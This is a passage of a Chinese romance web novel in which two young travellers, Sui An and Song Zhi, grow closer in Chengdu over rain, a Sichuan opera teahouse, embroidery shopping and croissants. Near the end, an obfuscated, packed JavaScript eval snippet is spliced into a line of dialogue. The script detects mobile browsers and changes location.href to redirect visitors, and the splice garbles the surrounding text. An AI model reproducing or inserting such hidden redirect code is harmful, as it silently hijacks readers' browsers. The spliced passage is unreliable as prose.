她自觉情况不妙,因为她是极容易伤风感冒的人,这会儿淋了雨,要是不早点回酒店洗头洗澡,多半会惹来偏头痛。 因着对偏头痛的恐惧,雎安站起身,焦虑地来回踱步。 猝不及防的,一道快到模糊的身影闯入成都的雨幕,冲进了百米外的便利店。 是宋挚。 他没打招呼,突然离开了,站台只剩下她一个人。 雎安沮丧地低下头,兀自跺脚,谁知会踩到一个不稳定的地砖,突然打了个趔趄,地砖间的堆积的污水飞溅而起,溅得她的白色运动鞋上都是灰黑色的污渍。 “唉~” 雎安深深地叹了口气,正欲蹲下,却被一把突然出现在视线内的白色雨伞惊得动作一滞,她将视线一步步上移,从雨伞到骨节分明的手指,再到紧实有力的臂膀,最后是有雨水滴落的发梢。 “拿着。”宋挚拿着熊猫伞的手往前探了探,示意雎安接过去,“浮沉是我的朋友,刚刚他托我多照顾你,更何况你还救过我,那你也就是我的朋友了。拿着吧,这雨还不知道什么时候能停。” 湿透的衣衫变得格外贴身,显现出了宋挚的肌肉线条,胸肌那一片尤为明显。 雎安在片刻失神后,生怕自己的目光冒犯,眼神闪烁地略过他的□□后,猛地抬头去看他的脸。 他的双眼明亮而清澈,眼睫上都是雨水,眨眼间,还会有雨水滴落,整个人像被淋湿的林间小鹿。 非常美好的画面。 雎安不自觉地盯着他的眼睛看,在持续对视八秒后,仿佛触电般,发现他看她的眼神变得迷离而缱绻,像是蒙上了一层雾。 “可是......”雎安透过他的眼睛,拨开云雾,看到了簇新的一方景色,“雨停了。” 她的身后,两道彩虹划破天际、相携而来。 只是宋挚无暇留意,即便彩虹早已映入他的眼眸,也只能沦为眼前人的背景板。 56. 一个人与两个人的旅行 回酒店换了身衣服后,宋挚独自出发去了宽窄巷子。 地铁上,他点开相册,嘴角控制不住地上扬,观赏起自己刚刚拍下的双层彩虹。 听闻双层彩虹是吉兆,可以祛除霉运,寓意是拨云见日,他不由地想多看几眼。 当时,他看见地铁口有一群人举起手机疯狂拍照,这才意识到方才恍然间瞥见的彩色物件是两道横跨天际的彩虹,遂举起手机,拍照留下这幸运的时刻。 地铁到站,宋挚收回思绪,起身离开车厢。 这次他打算漫无目的地逛逛,所以会时而走进死胡同,时而误入某家店铺,时而又跟着人潮不停地兜绕。 不过一小时,他就已有些乏累,但累得却不是身体。 宽窄巷子的商业化气息很重,来来往往的都是游客,而散客又大多是成群结队的朋友或伴侣,家庭出游更是占了大头。 街上的餐饮店推出的都是情侣和家庭套餐,以往他都会驻足细看,和爸妈或朋友讨论选哪家店落座,现在的他看到这类字样,只瞟一眼,便会收回视线。 这是他到成都后,第一次觉得寂寥。 “帅哥,要不要试试蛋烘糕?”一个店铺的阿姨说着蹩脚的普通话,热情地招呼路过的每个人,“成都特色,不吃白来,不吃白来哦!” 宋挚按着导航指引再找一家当地的糕点铺,恍然间,就走到了枣子巷,他讶异于这的居民小区墙上都涂鸦着可爱的熊猫形象画,熊猫几乎无处不在。 “阿姨,怪味里边有什么食材啊?”宋挚倒不是怕白来,而是阿姨灿烂的笑容和颇具烟火气的吆喝出现得恰如其分。 阿姨笑道:“告诉你不就没惊喜了吗?” “那我要一个吧。” “不要其他的吗?”阿姨指着餐牌,问道:“蛋烘糕不大的,你这么个大高个肯定吃不饱。” “那还要芝麻糖和奶油肉松的。”宋挚彻底忘了昨晚受到的教训,“麻辣牛肉的会很辣吗?” 闻言,阿姨面露难色,谨慎措辞道:“我是觉得不辣,但它其实......有一点辣,你要不试试看?反正都来成都了。” “嗯,那试试吧。” 结果可想而知。 只是,起初他怪味蛋烘糕会像是臭鸡蛋那种类型的味道,谁知竟是放满了花椒,继而再一次被辣得眼神迷离,麻得嘴唇一直在微微打颤,脑子也有些反应迟钝,直到送餐机器人从他的脚上压过去,他才反应过来要出电梯了。 “还真是霸道。” 宋挚看着机器人的背影感叹,没想到会遇上机器人大战一触即发的情况,而且大战就发生在他的房间门口。 一个清洁机器人,一个送完餐准备离开的机器人,还有刚刚那个霸道的送餐机器人2号,三个人堵在狭窄的过道上互不相让,一人一句“可以让一下吗?我被挡住了”,愣是不知避开谦让。 宋挚被这一幕逗笑,尤其是那两个人更为灵活的送餐机器人围着清洁机器人转圈,一副不知道怎么办好的模样,看着甚是滑稽。 他拿出手机,正准备点击录像,霸道机器人却不再挣扎,直接在504和506之间站定,而后便很快传出有人推门的声音。 这家酒店是去年新装的,隔音效果很好,他那天进房后没听到周边有任何动静,更没想到雎安就住在他隔壁。 雎安倒没注意到有人,刚刚房间电话响起,告诉她凉粉送到了,于是她便打开门来拿外卖,结果门前却空无一人。 雎安茫然了片刻,直到她侧头,看到三个机器人堵在一起的画面,以及举着手机的宋挚,即刻明白过来。 此刻的她,披着湿漉漉的头发,身上穿着一套极为宽松的黄油小熊睡衣,和宋挚点头问好后,走出房门到机器人面前提取外卖。 “你出去玩了?”雎安主动搭话。 “嗯,我去了宽窄巷子。你是一直在房间休息吗?” 雎安将外卖取出,并点击关闭舱门,“嗯,我淋了些雨,加上水土不服,今天只想多休息休息。” “挺好的,累了就休息,毕竟旅途中的感受才是最重要的。” 舱门关闭后,机器人便迅速地往电梯间去,期间还撞到宋挚的小腿,再次叫嚣着让他礼让,宋挚再一次被逗笑,最后还是乖乖地给三个小家伙让路,看着它们呼啦呼啦地一起走了。 “好可爱啊他们~”雎安看着机器人的背影,趁机偷瞄一眼宋挚,笑着说道:“你等我一下。” 说完,雎安提着外卖进了房间,而后又拿着一瓶酸奶走出来,伸手递给宋挚,“在嘴里含几秒再喝下去,解辣的效果非常好。” 雎安刚刚才发现,宋挚迷离的眼神下是被花椒辣得微微发肿的红唇。 “谢谢。”宋挚没拒绝,接过酸奶后,明知故问道:“对了,你的电话是多少?我怕到时候演唱会散场人太多,会找不到你。” “哦~”雎安一副恍然大悟的模样,“其实周警官已经把你的号码发给我了,只是我怕太突兀,所以还没加。” 面对宋挚,雎安有些紧张、有些拘谨,放在门板上的手不自觉地扣紧了些,“那我待会儿加你,你通过一下。” “好。”宋挚没再停留,利落地刷卡回房。 关门后,他第一反应便是看向镜中的自己,鲜艳的红唇很是突出,与他颇具少年感的运动风穿搭实在违和。 他懊悔地发出一声短促的叹息,可这也无济于事,只能试图转移注意力,往洗漱台去了。 另一边,雎安回去后便立即发送了好友申请,顺带还回复了周浮沉的信息。 周浮沉也算是她的恩人,在她的父母出事后,出于愧疚的情绪,给予了她诸多帮助,她本该心怀感激、用心回报,可却在周浮沉不断介入她的生活并直接替她做决定的诸多瞬间,明显地感受到了内心对他的排斥。 她开始怀疑自己是白眼狼,厌恶自己内心的真实感受,厌恶他的帮助。 尤其是在他家人找到她的那一刻,她抗拒的想法达到了巅峰。 “我知道了,谢谢你,你好好工作吧。” “你有没有什么不舒服?毕竟成都的天气和饮食都和华州差很远。”周浮沉又发来了信息。 “我不会,一切都挺好的。” 其实昨天她落地没多久后就有些头疼,但她不想和他倾诉。 “好,那你玩得开心点。既然都去了,不要因为钱而缺失体验,钱不够的话,尽管找我,我借你。” 看到钱这个字,雎安叹了口气,“好,谢谢。” 关闭聊天框后,雎安转换到手机银行查看余额,所剩不多的余额让她犯了阵恶寒。 因为要把邹伟聪借来投资被骗的钱还给亲戚,加上还沉了一段时间,早已被公司裁掉,她近几个月的生活开销和医药费都是周浮沉出的。 本来就欠着一笔债,还敢冲动之下跑出来旅游,这次怕是会将她最后一点积蓄也耗尽。 她已经没有资格再消沉。 回去华州后,如果找不到专业对口的好工作,那就去摇奶茶、端盘子。 总之,她必须要工作。 这样也好,这样她就不再有那么多胡思乱想的时间了。 雎安呼出一大口气,把手机银行和后台软件全都划掉了。 思虑太多,一下又吃得太撑,雎安失眠了,在床上翻来覆去到两点,隔天临近中午才从床上爬起来,出门去探索她在美食vlog里发现的宝藏美食店。 毕竟不是吃辣能手,雎安没有挑战红油抄手,而是选了招牌的菌汤口味。 这家餐馆也算是小有名气,雎安环顾四周,发现店内装饰带着些禅院风,很有特色,哪怕只是拍照打卡,也能得到满足。 只是,她看着菜单,这有很多她想尝试的当地特色。只可惜,她是一个人,胃口有限,能尝试的品种也很有限。 这就是一个人旅行的缺点,虽然其它的体验都远比她想象中的还要畅快,想去哪就去哪儿,想休息就休息,不用顾虑任何人。但她偶尔还是如当下这般心生感叹,如果身边有个合拍的朋友就好了,哪怕吃到不好吃的东西,也能一起吐槽。 拥有了一个人的自由,就会偶尔期待一群人的狂欢。 雎安知道,这只是她一时的期盼。 她是独生子女,性格内向,不擅社交,朋友不多,父母又都是爱摆大家长姿态的人,一个人消化情绪早已是她的生活常态。 收拾好心情,雎安去了趟人民公园,欣赏完大爷大妈的舞姿,又转战到春熙路citywalk,中途还买了她种草已久的抹茶流心可颂,碍于店铺满座,附近又没有地方能坐下休息,她只能一直走,一直走,走到脚底像是灌了铅的时候,终于发现了一家都是空位的店。 从外观看,这家店精美得像是售卖高端茶叶的店铺,又位于繁华的市中心,雎安虽然感兴趣,但根本不敢细看。 “你好,要喝茶吗?” 一个身穿汉服的姑娘举着茶牌,询问着每一个过路的人,见雎安停下了脚步,表现出一丝感兴趣的模样,声调瞬间高了几分:“还有十分钟就要开始表演了,是川剧变脸哦,要看的尽快落座。我们这里每两小时才表演一次变脸,错过就要等很久了。” 雎安因为姑娘的话往里瞧,这才发现里边位置比她想象得还要开阔,含有室内茶室和露天茶室,里头摆满了木桌和藤椅,上边零零散散坐着些人,其中好些人看着像是来消遣时间的本地人,环境怡人得与外头的闹市仿佛是两个世界。 最便宜的花茶只要三十二,价格她也能接受。 最终,雎安点了杯最便宜的花茶,从师傅手里接过装满水的大水壶,吃力地提着水壶进到了有空调的室内茶室。 里头正有一位先生在台上说书,她进来的时候节目正好结束,下一个节目即将开始,所以她匆忙一扫,看见附近有空位就坐下了。 茶室的节目毕竟是用来揽客的,能够调动现场观众的情绪,营造出热闹的氛围,就已经算得上成功。 一个小时前,宋挚纯粹是为了消磨时间,随缘走到这家店,就在最后一排坐下了。 手机里,是宋言林发来的一连串语音。 宋挚点开,贴近耳朵听,宋言林说的话又快又急,语气还有些冲,对于他一言不发到成都旅游,很是气恼。 宋挚只简单回了句“我一切都好”,就关闭了聊天框。 他知道宋言林忙实验忙得焦头烂额,兴许是等人接电话的时间都有限,最近他甚至不再打电话,一律改为发语音,这样就可以利用碎片时间极快地处理信息。 因为只是变脸加定点动作展示,表演结束得很快,雎安举着手机,有些遗憾没能和表演者互动。 她 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表演结束后,许多人陆续退场,室内由喧闹变得寂静,将她忐忑的心情映衬得更为明显,而这种心情也在他回来道谢后就拿着碗离开时,达到了高峰。 “你不坐吗?”雎安脱口而出。 “我可以吗?”宋挚感到意外,“我以为你不希望我打扰你。” 宋挚清楚地记得,他在成都与雎安重逢的那一刻有多激动,在得知她和周浮沉有瓜葛的那一刻,就有多失落。 “没有的事。”雎安摇头,解释道:“我是感觉你心情不好,不敢打扰你。” 她和他,都怕打扰彼此。 宋挚直接问:“我刚刚冷脸了?” 雎安点头。 “很吓人吗?” 雎安点头,两秒后反应过来,立马摇头。 宋挚被她的反应逗笑,冷峻的脸上有了笑容,就如同冬日的白雪迎来暖阳,语气都变得柔和,“抱歉,我刚刚确实心情不太好。” 他在她的身边坐下,这样她就不用再仰视他。 “没事,你心情不好而已,不用和我道歉。”雎安随着他的动作,慢慢地低下头,“没想到我们又碰到了。” “也不奇怪,毕竟旅游攻略都大差不差,我们都要在这几天去这么些热门景点,总会碰到的。” 宋挚的内心其实为偶遇感到惊喜,言语上却只将此合理化。 “哪有那么容易碰到啊?”雎安更倾向于浪漫的解释,“成都景点这么多,哪怕我们在同一天安排了相同的景点,还得是在同一时间段呢。” “而且还不能有意外打破计划,或者是,得刚好有巧合把我们聚在一起。”雎安答得很认真,人却放松了不少,“你什么时候来的?” “我没看时间,不过我在这确实坐了很久。” “你喜欢川剧?” 宋挚倏地一笑,“说不上,我要是戏剧迷,肯定不会在这看。” “嗯?”雎安歪头,“什么意思?” 宋挚想了想,解释道:“这里的表演和餐饮店的表演都差不多,就是图个开心,表演者会是会,可要说观赏……那肯定是不能细看的。” 末了,兴许是觉得自己这么说很是傲慢,又补充道:“我不是说他们表演得不好,毕竟他们的工作就是要让大家开心,还能传扬川剧文化,他们也确实做到了。” 确实,刚刚大家看得都挺开心的,尤其是和表演者互动上的两个女生,还兴奋地尖叫出了声。 雎安明白宋挚的意思。 因为并不是所有人都对正统戏剧感兴趣,茶室里这种形式的表演,优点在于受众广,便于推广创新,喜欢的年轻人越来越多,投入学习的人才会变多,不用担心后继无人,才能够更好地传承下去。 “你想去看川剧吗?”宋挚观察着她的反应。 “去哪看?” “川剧院。” “嗯?”雎安眼睛瞪得圆圆的,表露出些许吃惊,“我们能去?” 这是雎安第一次独自旅游,周六的那场演唱会也是她人生的第一场演唱会。所以,她并不知道这类剧院会对外售票,还一直以为是只对邀请对象开放的表演。 “为什么不能?”宋挚很是疑惑,下意识地问出口,转而想到什么,在雎安纠结的面色中再度开口,“今晚就有表演,你有兴趣吗?” “会不会很麻烦?”雎安想到自己那扁平的荷包,担忧地问道:“多少钱一张票啊?” “不麻烦,直接买就行。至于钱,难道你忘了?”宋挚嘴角噙着笑,“我还欠你钱呢。” “欠我钱?”雎安仔细回忆了一道,“哦!是医药费吗?” “没错。”宋挚下意识地往雎安那边靠,“所以,如果你感兴趣,我能有荣幸请你去看吗?” 雎安被他英国绅士般的邀请用词逗笑,“当然有兴趣,我接受你的邀请。” 雎安蓦地往前倾,又往后倒,眼里的期待似镶满碎银般亮晶晶地闪烁,眨眼时又似湖中涟漪般水盈盈地荡开。 宋挚的目光始终在雎安身上,望向她的眼神糅合了些看向家人时才有的温情。 “谢谢你给我这个机会。” 这是他的心里话。 他希望她的成都之行能有很多美好的回忆,而这些美好的回忆里,能有他的身影。 57. 他身上侵略性的男性气息 突然下起了小雨,雎安和宋挚撑开了同款熊猫伞。 “你晚上没别的安排吗?会不会打乱你的计划?” 两人离开茶馆,在去觅食的路上。 “没有,我的计划做得很随意,不执行也没事。” 方才在茶馆的时候,出于礼貌,雎安想往宋挚的茶碗里添水,结果肚子不合时宜地发出了两声抗议。此刻的雎安正处于尴尬中,宋挚很有风度,无论她说什么都回应,有兴趣的话题还会反问。 雨势越来越大,雎安将伞压得很低,被伞遮挡住了视线,宋挚怕她这样会注意不到前方的障碍而发生危险,遂提醒她将伞撑高。 雎安没反驳,直接照做,视线开阔的瞬间,注意力就被右侧的一块广告牌吸引。 “诶,那有卖十八籽耶。” 话音刚落,宋挚就已经看到她小跑至对面的廊道上,只得乖乖跟上去。 开光手串这类物件,他以前和家人旅游的时候也喜欢买,只是经历得多了,兴趣也就淡了。 “好多款式哦,可惜我戴不了。”雎安认真观察着每一款,“都太大了。” 宋挚道:“可以拆掉几颗珠子,缩短就行。” 雎安瘪了瘪嘴,“可是十八籽不能拆吧,也不知道其他的款式拆了珠子,寓意会不会不好?” “心诚则灵。”宋挚不想扫雎安的兴,“或者你可以让她帮你编一串。” 见雎安望着排队的队伍,露出了极其纠结的表情,宋挚猜想她迟疑的原因,再次开口道:“我可以先去买吃的,给你带过来就好。” 只可惜,宋挚没猜对。 雎安犹豫,一是怕宋挚等太久,二是怕钱包顶不住。 这可是在景区,编一条手串的价格肯定不便宜。 买给自己的念头作罢,雎安又觉得这或许可以送礼,只是细想下来,她没有可以送的人,若是关系不近,这种需要随身戴着的东西送出去也是尴尬。 “不买了。”雎安笑得有些牵强,“我们走吧。” “是想送给浮沉吗?”宋挚问出口的瞬间,自己都愣住了,赶忙补了一句,“我兴许......可以给些建议。” “嗯,但我觉得这个不适合送礼。你有什么别的推荐吗?”雎安确实想要征询他的意见,“我想带点礼物给他。” “去那看看吧。” 恰巧他们对面就有家极其显眼的店铺,店门用的是鲜红色的格栅门,门上还有极为精美的金色浮雕,店家的牌匾上有“蜀绣”两个字,门旁的介绍还有“非遗传承”的字样。 “哇,这些东西都好精致啊~”雎安并不懂蜀绣,只是看着展示台上的物件,不由地发出感叹。 宋挚在一旁看着她,却是笑不出来,也无心回应。 原先在旁聊天的工作人员听见雎安的声音,以极为从容的姿态来到他们身边,用清朗温和的嗓音为他们介绍蜀绣。 雎安一副认真听讲的模样,但宋挚看得出她的心思几乎都在那面绣着两只熊猫的团扇上。 “这扇子上的熊猫是我绣的。” 意识到是在和自己说话,雎安抬头,莞尔一笑,她也投以笑容。 介绍完毕后,工作人员询问完是否需要推荐产品时,宋挚直接说不用,她面色不变地退到一旁。 “你有想买的吗?” 有是有的,但是好贵。 雎安笑笑,只在心里嘀咕,面上却没有显露丝毫。 刚刚跟着宋挚进店的时候,她虽然还没细看产品,但观察到店内极好的装潢,便知道这里的东西肯定不便宜,相信大多游客和她的想法一致,也就难怪走廊上人来人往,茶室和这家店却独得一方宁静。 “蜀绣作为礼物还不错,有地域特色,又有纪念意义。”宋挚略过那绣着两只熊猫的团扇,拿起一旁绣有花花吃竹子的团扇,“也不突兀。” “我再看看吧。”雎安只是笑笑,“你有喜欢的就先买吧,我这个人选东西很纠结的。” “好。”宋挚放下扇子,转头去找工作人员下单。 他选中了两把团扇,一把是双面绣着花鸟纹的,另一把则是那绣着两只熊猫的小团扇,除此之外,还买了六条绣有竹子的围巾,送给长辈。 待他接过打包好的礼盒,雎安突然从他的身后冒出来,声音很是焦急,“我买的可颂漏在茶馆了,你在这等我,我回去拿。” “等一下。”宋挚抓住她的手,“外边的雨太大,而且可颂很可能已经被当成垃圾处理掉了,不如待会儿我去商场,重新给你买一个吧。” 雎安却是摇头,眉头紧蹙,神情说不出地沮丧,“那是最后一个抹茶可颂,买不到了。” 而且,还是她面包攻略里必打卡的可颂。 当时,她去到现场,发现只剩一个的时候,心在狂跳,生怕排在前面的人会先买走。方才她找茶馆落脚,也是为了把可颂吃掉,只是宋挚的突然出现乱了她心神,竟就这么随手把它放在旁边的空椅子上,走的时候也没想起来。 “那我去拿。”宋挚将包好的礼品递给雎安。 “可是......” “我回来之前,你能选好吗?”宋挚直接打断雎安,看着廊外倾泻而下的大雨,笑着说道:“我饿了。” “能。”雎安不再犹豫磨叽。 她目送宋挚离开,终于注意到他们的雨伞是一样的款式,都是白色伞面上有一只正在吃苹果的大熊猫。 “你慢点,别着急,千万别打滑了~”雎安对着雨幕中的背影喊话,好似听到宋挚回应了她,又好像没有。 等她回过神,想着赶快把礼物定下来的时候,却发现工作人员正笑盈盈地看着她。 两人对上视线后,工作人员强压下嘴角的笑意,好似什么都没发生过般给她介绍起清仓区的产品。 “您要不看看这些卡包?上边的绣花也很精美,并不是瑕疵品。只是因为现在大家都用电子支付,卡包的需求越来越少,所以我们才打折处理。这拿来放身份证和银行卡,出门的时候带上,既美观又方便。” 雎安耳根因为刚才的注视还有些发烫,注意到卡包尤为合适的价格时,耳根子更烫了。 “你有什么喜欢的花吗?”工作人员将抽屉里的卡包都拿了出来。 卡包的底色都是极为鲜艳的亮色,分别绣着各式各样的花草,大胆的撞色带来了强效的视觉冲击,一时晃了雎安的眼。 雎安大致过了一眼,拿不定主意,“我想买一个送给男性友人,寓意最好是发财、富贵之类的。” 雎安说出自己的诉求后,工作人员指着第一个卡包,道:“那牡丹花最好了,寓意就是吉祥富贵,送给家人、朋友和长辈都行。这款的绣花颜色用的是石榴红,底部配的是明亮金,虽然都是很夺目的颜色,但配搭在一起很和谐,一点都不扎眼。” “好,那就这个。” 雎安很满意,稍加思考后,觉得只有这个卡包会显得小气,一咬牙,让工作人员把刚刚那把绣有两只熊猫的团扇也包起来。 闻言,工作人员的嘴角止不住地上扬,“那把团扇已经被人订走了,或者,要不您看看这个?图案是花花吃竹子,明星熊猫,非常可爱哦。” “好,那就这个吧。” 雎安思索了一番,觉得送这两个礼物应该就够了。 “这是什么花啊?” 放置在角落的一个卡包吸引了雎安的注意力,它的底部的绿色特别得入眼,衬得上边的奶白色的花格外素雅,有一种静谧又神秘的气质。 风格和牡丹的那款截然不同,若是让雎安选一个给自己,她更喜欢这个。 “这是栀子花。”工作人员将卡包拿起来,放到雎安的手上,“瓦松绿配荔肉白,很漂亮吧?” “嗯,很好看。”雎安盯着卡包上的栀子花,“这个我也要了。” 工作人员从她手中将卡包接过来,“都包一起吗?” “不,栀子花的用袋子装起来就好。另外那两个也不用礼盒,用礼袋就好,这样我比较方便带回去。” “好。”工作人员结算时去掉了包装费,随后一边帮她装袋一边笑道:“这样更环保。” 雎安微笑着点头,比刚进店的时候放松了很多。 兴许是自尊心作祟,她一直想看清仓区的产品,却总是刻意略过,假意去看其他地方。 等到宋挚离开,她还是不好意思直接过去看,若非工作人员有极好的服务意识,将雎安囊中羞涩的局促看在眼里,雎安可能不会在这消费,毕竟她的预算很低,要是咬着后槽牙付款,就怕最后反而会陷入更窘迫的境地。 “怎么去了这么久?” 茶馆到蜀绣馆只有五分钟的路程,可雎安在选好礼物后还等了十分钟,在她忧心宋挚是不是遇到麻烦的时候,他终于回来了。 “先拿着。”宋挚将可颂递给雎安,并没有着急回答。 装可颂的袋子是普通的纸袋,已经被瓢泼的雨水给打湿,软趴趴的,里边的东西随时有掉落的风险。 雎安赶忙把可颂拿出来,检查以后松了口气。 里头的包装还是完好的。 “是遇到了什么麻烦吗?”雎安担忧地再次询问。 宋挚还在整理被污水打湿的裤脚,虽然已经有过类似经历,但感受到身上潮湿的粘感,以及雨后不降反升的气温,心情还是受到了影响,周身都不爽快。 “还好,一点小麻烦而已。就是茶馆的一个阿姨把东西私自收起来的时候,恰巧被我撞见。她坚持说是她的,一边辱骂我,一边说我污蔑她。后来我要求调监控查清楚,茶馆负责人就出来了,把东西还给我的时候,还给了一包红茶。” 说着,宋挚接过雎安递过来的纸巾,还将那小包茶叶递给雎安。 雎安没接,伸手将他的手推回去,指腹肌肤相触的那刻,他手的温度热得吓人。 “茶叶你收着吧,人没事就好,身体没什么不舒服的吧?” “没有。” 相反,宋挚觉得雎安的手在三十多度的天气下,未免过凉了。 “辛苦你了,跑这一趟还害你和人起了矛盾。”雎安将他的东西从柜台拿出来,语气中饱含歉意,“待会儿我请你吃饭吧。” “是你害的?” 雎安被宋挚的提问呛住。 宋挚将茶叶放进袋子里,扫了她一眼,“拿人东西,占为己有,是那阿姨的人品有问题。不要说什么都是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16240436|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为你落了东西,因为你只是落了东西而已。” 宋挚的脸色并不好,语气中还有一丝不爽,但说的话却直击雎安的心灵,震得她短暂地失去了言语的能力。 以往,但凡碰到这种事,她一定是独自去解决,回来后不是被父母训一顿,就是和朋友道歉。因为她会觉得,要是自己不丢东西的话,就没那么多事了。 如今,有人挡在她前头,帮她解决问题,还不埋怨和责怪她,她当然很感动,但在感动后,却还是会愧疚得浑身难受。 离开蜀绣馆后,雎安一副心事重重的样子,右手抓着斜挎包的包带轻轻摇晃,极其安静地走在宋挚身侧,没再主动搭话。 “你打算带我去哪?” 这回反倒是宋挚,有一搭没一搭地提问。 雎安记得这附近有家人气很高的蹄花店,“去吃蹄花,可以吗?” “可以,是你去过的店吗?” “我没去过,它是我做攻略的时候收藏的一家店。”雎安侧身问他,“或者,你有什么想吃的吗?” “没有,我跟着你就行。” 宋挚无条件的信任跟随,而她能借此为他做些什么,这让雎安感到心安。 她朝宋挚浅浅一笑,低落的情绪逐渐得到了缓解,然而,很快她就意识到了一个问题,“表演是几点开始啊?” “晚上七点。” “那我们过去需要多久?” 宋挚稍加思索,“地铁的话,半小时吧。” 雎安点开手机屏幕,显示为下午五点,他们必须在一个小时内吃完晚餐。 “这是你买的那家面包店吗?”宋挚停下脚步,觉得这家店铺的logo格外眼熟。 雎安正在脑中计算时间,分析去完蹄花店后能赶上演出的可能性,于是,只瞥了一眼道:“是,就是这家。” “南非国宝茶是什么茶?”宋挚不常喝茶,有些好奇。 再者,新品图上那圆鼓鼓的面包看着相当可爱。 糟糕!时间不够,蹄花店去不成。 雎安有些焦躁,赶忙拿出手机,查看地图,想在附近找一家口碑不错又不用排队的店。 “对不起,那家蹄花店需要等位,我们去不成了。你刚刚问我什么来着?” 宋挚见她刷动手机屏幕的速度飞快,眼睛都没抬一下。 “我想知道南非国宝茶是什么茶?” “是路易波士茶。”雎安抬头,看向宋挚所在的方向,“这种茶没有咖啡因,喝了不会失眠。怎么,你是想喝茶吗?” “诶,人呢?”雎安却没看到宋挚,而是和一个陌生人对视了,有些尴尬,她陷入短暂的慌乱,直到她发现宋挚就在面包店的柜台处时,心才定了下来。 难怪他第二次问她话时,声音小了许多,不像他的风格,很可能当时已经离她有一段距离了。 “你.......喜欢吃面包啊?” 雎安走到他身边的时候,他翻扣手机,付款成功,店员已经开始分切可颂。 “不算喜欢吧,吃得不多,就是想尝尝。” 雎安探头去看,他竟然一口气买了四个! “这类起酥面包放不久的哦,很快就会变得软趴趴的,软掉以后就不好吃了。” 宋挚并不常吃面包,只是想起刚刚雎安失落的模样,好奇她为何如此宝贝这家店的可颂,索性把他感兴趣的口味都点了。 “是必须现在吃完的意思吗?” “没错。”这回是店员回答的,“现在吃,外皮是酥的,里边的奶油冰凉,口味最佳。” “那不打包了,在这吃?”宋挚转头询问雎安的意见,但碍于他比雎安高出许多,于是他低下了头,以极其轻柔的声音再次询问:“蹄花做夜宵,如何?” 方才,为了看清店员在打包什么,雎安踮起了脚,几乎就要贴靠在宋挚的手臂上,当下宋挚一个猝不及防的低头,他们之间的距离,瞬间近得能感受到从彼此鼻腔中呼出的气息。 “可......可以啊。” 对视的刹那,雎安从宋挚那幽深的黑眸中看到了自己,看到自己像是失了魂般注视着他的眼睛,声音也失了控,掉了音。 慌乱中,雎安极不自然地突然低头,转而想到这是在大庭广众之下,他们却贴得这般近,不自觉地往后退两步的同时,身后响起了一声痛呼。 是她踩到到了一个来排队的小姐姐。 雎安不知所措,不停地和小姐姐道歉,即便获得了谅解,仍然是一副十分惶恐的模样。 短暂的相处下来,她觉得宋挚绅士而淡漠,是个十分有距离感和边界感的人。 很多时候,他面上在笑,她却能感知到情绪并没能触及他的内心。如同柳叶随风轻抚水面,他的情绪也只停留在表面。 然而,在他们突破社交距离的那一刻,她明确感受到他身上侵略性的男性气息,以及,眼眸下湍急流动的情绪。 或许是因为突如其来的近距离接触,或许是因为他帅气的面庞,只是一时分不清缘由的慌张罢了。 小插曲而已,慌乱过去,雎安便强制自己不许反刍,不再多想。 毕竟,在雨滴轻轻落下时,总不那么引人注意。 58. 一次精神层面的拥抱 抹茶、南非国宝茶、伯爵红茶、茉莉花茶、乌龙茶,满满一桌的茶味可颂。 以雎安吃面包甜品的经验,再好吃的可颂,吃这么多,最后一定会腻得人脑袋发懵。 果不其然,宋挚进食的速度越来越慢,表情也变得越来越沉重。 “你先吃,我去上洗手间。” “好。” 八分钟后,雎安却拿着两杯柠檬茶回来了。 “柠檬茶,呐,给你的。” 宋挚愣住,他以为他伪装得很好,没有表露出一丝不喜的迹象,但事实并非如此,一直吃甜食真的太腻了。 “常温的?”宋挚柠檬茶拿远了些看,才发现里头没有冰块,而他的口腔里已经满是红茶的涩味,但涩归涩,解腻的效果非常好。 “嗯,喝太多凉的对身体不好。” 雎安在他的对面坐下,“点单的时候,我忘记发微信问问你的喜好了。我是因为肠胃不太好,喝饮料只能点常温的,都有些喜欢成自然了。” “肠胃炎?” 雎安没有立即回答,而是思索了一会儿,“嗯~差不多吧。” “不吃了?”宋挚见她轻轻摇晃着腿,慢条斯理地喝着茶,喝一口就四处打量观察,模样极其悠闲,好似没有再吃东西的打算。 “我吃饱了。” “吃饱了?”宋挚眼睛都瞪大了,“半个抹茶,半个伯爵茶,你才吃了一个而已。” 宋挚出于礼貌,每个味道都留了一半给她,当下的餐桌上还有三款口味的半个可颂。 “抱歉,我真吃不了这么多。”雎安面露难色,“我胃口一直不太好。” “可你下午不是说,想多尝几个口味吗?” 下午有一搭没一搭地聊天时,宋挚听到雎安说一个人旅行的遗憾,就是能吃到的美食品种会比一群人旅游少很多。比如,她买面包就只能买最热销的那款,其他口味就算再想试,也只能放弃,不然买多了就是纯浪费。 雎安明显愣住了,咬吸管的动作一滞。 她完全没想到宋挚点单时原来有顾及过她,而她在点饮料的时候,完全没想到过要顾及他的喜好。 不等雎安反应,宋挚拿起装满可颂的托盘去了柜台。 他生气了? 雎安慌乱地站起身,不知该说什么话叫住他,只能无助地看着他的背影,任由拿着杯子的手不断收紧,最后因杯子受不住挤压而外渗出的液体润湿手心。 她在心里组织语言,等他回来后,她要和他解释清楚并道歉。 “你怎么了?饮料都漏出来了。” 宋挚回来时,托盘上的每一种口味的可颂都被切了一小块并另外放开。 “擦擦手,尝尝看,小块的是你的,这样你就可以尝到每个口味了。” 心里说不出是什么滋味,她很少受到这么细致的照顾,尤其还是在异乡,还是被一个刚认识不久的人,一时间,竟有了流泪的冲动。 可真要因此哭了,会不会很丢人? 雎安接过宋挚递来的纸巾,一边擦手一边整理自己的情绪,“谢谢你,你作为旅游搭子真是......太棒了。” 闻言,宋挚无甚表情地轻挑眉尾,别过头喝了口柠檬茶,生硬地转移话题,吐槽起商场的布局来,“我原本以为能在附近找到一些咸口小吃,这样就不会这么腻,没想到挨着的店都是卖饮料甜食的。” “但其实是好吃的。”雎安心满意足地吃完了三小块可颂,“都很香,配茶就刚好。” 